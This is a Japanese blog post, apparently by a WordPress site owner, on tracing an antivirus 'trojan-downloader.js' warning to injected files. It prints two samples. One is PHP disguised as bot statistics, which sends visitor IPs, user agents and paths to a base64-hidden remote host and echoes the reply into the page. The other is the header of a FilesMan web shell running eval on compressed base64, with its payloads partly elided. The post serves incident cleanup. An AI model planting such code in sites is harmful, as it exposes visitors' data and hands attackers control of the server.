[WP] ウィルス対策ソフトで「trojan-downloader.js.○○○○」と出てしまった場合。
調べるべきファイル
WordPressで構築しているサイトに於いて、カスペルスキーやaguse.jpで「trojan-downloader.js.○○○○」と出てしまった場合は、下記を疑ってみる。
- /index.php
- /wp-admin/index.php
- /wp-admin/admin-footer.php
- /wp-content/ 直下にindex.phpが置かれる
- /wp-content/themes/(テーマ名)/footer.php
兎に角、各ディレクトリやを探ってみて更新日(タイムスタンプ)に身に覚えの無い場合、怪しい場合は要注意。
記述されるソース:例
ソース上にこのような記述がされていたら要注意。
※あまりこういったコード自体を晒しては行けないんですが・・・
<?php
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL3(....中略....)QucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
$stCurlHandle = curl_init( $stCurlLink );
}
} else
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0c(....中略....)XQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']);
$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = curl_exec($stCurlHandle);
echo $sResult; // Statistic code end
curl_close($stCurlHandle);
}
?>
<?php
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2(....中略....)N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
$stCurlHandle = curl_init( $stCurlLink );
}
} else
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2(....中略....)N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']);
$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = curl_exec($stCurlHandle);
echo $sResult; // Statistic code end
curl_close($stCurlHandle);
}
?>
原因
いろいろ調べてみたところ、base64_decodeが埋め込まれてたことが発覚
/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/ の中に wp-form.php というファイルが置かれており
if(isset(
$_GET['4362af97c8f'])) {
$auth_pass = "6eac901b7(中略)898e32d12";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","eval(gzinflate(base64_decode('5b1pdxrHEjD82fec(....中略....)EiippqKn6fwE=')));
",".");
}
という記述を発見。『tinymce』ディレクトリ自体をバックアップと差し替え様子をみる。
詳しいことはまだ分からないのだが、どうやらwordpressの管理画面から「投稿」する度に発動する模様
